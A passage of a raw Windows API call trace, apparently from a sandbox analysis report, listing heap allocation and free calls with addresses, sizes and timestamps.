(in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876558 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4748 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881948 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881918 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4968 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3869260 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881960 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876588 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4a68 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881a20 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881b28 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4828 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a340 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4a28 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38816a8 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e43c8 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38818e8 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e42c8 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881888 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4648 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881870 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4308 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881798 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4348 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881990 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4948 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a2f0 | out: hHeap=0x2ad0000) returned 1 [0081.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4548 | out: hHeap=0x2ad0000) returned 1 [0081.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe) returned 0x3881b88 [0081.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe) returned 0x3881bd0 [0081.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4648 [0081.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881990 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4548 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881930 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881948 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881960 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e43c8 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876498 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x19) returned 0x387a2f0 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e42c8 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819a8 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b28 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881a80 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4308 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38765b8 [0081.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x11) returned 0x33e4348 [0081.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38816c0 | out: hHeap=0x2ad0000) returned 1 [0081.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881768 | out: hHeap=0x2ad0000) returned 1 [0081.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4408 | out: hHeap=0x2ad0000) returned 1 [0081.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e45c8 | out: hHeap=0x2ad0000) returned 1 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4408 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e45c8 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881768 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881798 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58) returned 0x3843ff0 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4928 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38818d0 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4a68 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38818e8 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881870 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881888 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4748 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876578 [0081.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x19) returned 0x387a340 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e46e8 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38816a8 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38816c0 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819c0 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4948 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876428 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x11) returned 0x33e4768 [0081.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e) returned 0x3887770 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a340 | out: hHeap=0x2ad0000) returned 1 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881888 | out: hHeap=0x2ad0000) returned 1 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876578 | out: hHeap=0x2ad0000) returned 1 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4748 | out: hHeap=0x2ad0000) returned 1 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881870 | out: hHeap=0x2ad0000) returned 1 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38818e8 | out: hHeap=0x2ad0000) returned 1 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4a68 | out: hHeap=0x2ad0000) returned 1 [0081.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4768 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38819c0 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876428 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4948 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38816c0 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38816a8 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e46e8 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38818d0 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4928 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881930 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4548 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38819a8 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e42c8 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881990 | out: hHeap=0x2ad0000) returned 1 [0081.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4648 | out: hHeap=0x2ad0000) returned 1 [0081.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4548 [0081.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9) returned 0x3881a98 [0081.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3876578 [0081.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10e) returned 0x388d540 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4648 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819d8 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881ab0 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b10 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e42c8 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876588 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38764f8 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881ba0 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819c0 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4808 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876518 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17) returned 0x33e4888 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881a20 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819f0 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4848 [0081.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876418 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3876598 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881ac8 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b40 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e48c8 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876558 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x31) returned 0x3864538 [0081.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38819d8, Size=0x20) returned 0x387a3e0 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881be8 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881900 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4908 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38764b8 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x57) returned 0x38443b0 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881930 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881918 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4828 [0081.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x38764c8 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6b) returned 0x37da0d0 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881990 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881a08 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4948 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38765c8 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x19) returned 0x387a340 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881a38 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b70 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4968 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38765e8 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b) returned 0x3869260 [0081.905] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x387a3e0, Size=0x40) returned 0x3887578 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38819a8 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819d8 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e49c8 [0081.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876428 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x17) returned 0x33e4a88 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881a50 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881a68 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4868 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa) returned 0x3881e58 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16e) returned 0x387cb70 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5a9) returned 0x3890880 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e49e8 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9) returned 0x3881c78 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x38764d8 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3859d48 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881cc0 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10c) returned 0x388e8f0 [0081.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881cc0 | out: hHeap=0x2ad0000) returned 1 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x3874388 [0081.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x38643b8 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881db0 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x38764e8 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4aa8 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e48e8 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881c48 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881e40 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3876508 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881c60 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881c00 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4a08 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4928 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881df8 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881d98 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881c18 [0081.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3876548 [0081.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881de0 [0081.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x38767e8 [0081.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881e70 [0081.908] GetCurrentThreadId () returned 0x9b0 [0081.908] GetCurrentThreadId () returned 0x9b0 [0081.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881e40 | out: hHeap=0x2ad0000) returned 1 [0081.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881c48 | out: hHeap=0x2ad0000) returned 1 [0081.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e48e8 | out: hHeap=0x2ad0000) returned 1 [0081.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4aa8 | out: hHeap=0x2ad0000) returned 1 [0081.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4aa8 [0081.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e47c8 [0081.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881eb8 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881ea0 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb4) returned 0x37cd040 [0081.909] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881eb8, Size=0x20) returned 0x387a408 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e48e8 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881e40 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4c88 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881eb8 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881c48 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3882020 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4ce8 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38767f8 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876608 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4d08 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3882158 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3882068 [0081.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38821b8 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4ca8 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876628 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3876698 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4ba8 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3882038 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3882128 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881f78 [0081.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4de8 [0081.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876608 | out: hHeap=0x2ad0000) returned 1 [0081.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882020 | out: hHeap=0x2ad0000) returned 1 [0081.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38767f8 | out: hHeap=0x2ad0000) returned 1 [0081.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ce8 | out: hHeap=0x2ad0000) returned 1 [0081.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881c48 | out: hHeap=0x2ad0000) returned 1 [0081.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881eb8 | out: hHeap=0x2ad0000) returned 1 [0081.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4c88 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876698 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38821b8 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876628 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ca8 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882068 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882158 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4d08 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881ff0 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f78 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38766f8 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4de8 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882128 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3882038 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4ba8 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4c48 | out: hHeap=0x2ad0000) returned 1 [0081.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38820f8 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876788 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4be8 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881e40 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38820e0 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4c68 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3869618 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881f90 | out: hHeap=0x2ad0000) returned 1 [0081.912] HeapFree (in: hHeap=0x2ad0000, 